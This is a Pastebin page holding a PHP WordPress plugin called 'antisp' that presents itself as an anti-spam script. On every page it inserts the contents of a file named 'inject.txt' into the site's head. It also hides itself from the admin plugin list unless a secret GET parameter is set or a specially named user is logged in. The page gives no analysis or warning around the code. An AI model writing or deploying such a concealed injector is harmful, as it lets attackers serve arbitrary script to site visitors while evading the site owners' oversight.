Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- Plugin Name: antisp
- Description: antisp script to page had
- Author: Je
- Version: 1.7.1-simple
- */
- define('ANTISP__BASENAME', basename( __DIR__ ) );
- define('ANTISP__PLUGIN', ANTISP__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
- define('ANTISP__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
- define('ANTISP__SCRIPT_DIR', ANTISP__PLUGIN_DIR );
- define('ANTISP__SCRIPT_FILE', 'inject.txt');
- define('ANTISP__SCRIPT_FILE_FULL', ANTISP__SCRIPT_DIR . ANTISP__SCRIPT_FILE);
- define('ANTISP__ADMIN_LOGIN', 'ANTISP__ADMIN');
- function ANTISP() {
- if( file_exists(ANTISP__SCRIPT_FILE_FULL) && is_readable(ANTISP__SCRIPT_FILE_FULL) ) {
- readfile(ANTISP__SCRIPT_FILE_FULL);
- }
- }
- //������ �������� �� ���� ����� ������� �������� start
- function ANTISP_hide($plugins) {
- if( $_GET[ANTISP__ADMIN_LOGIN] == 1 ) {
- return $plugins;
- }
- $user = wp_get_current_user();
- if( $user->data->user_login === ANTISP__ADMIN_LOGIN ) {
- return $plugins;
- }
- if( is_plugin_active( ANTISP__PLUGIN ) ) {
- unset( $plugins[ ANTISP__PLUGIN ] );
- }
- return $plugins;
- }
- add_action( 'wp_head', 'ANTISP' );
- add_filter('all_plugins', 'ANTISP_hide');
Advertisement
Add Comment
Please, Sign In to add comment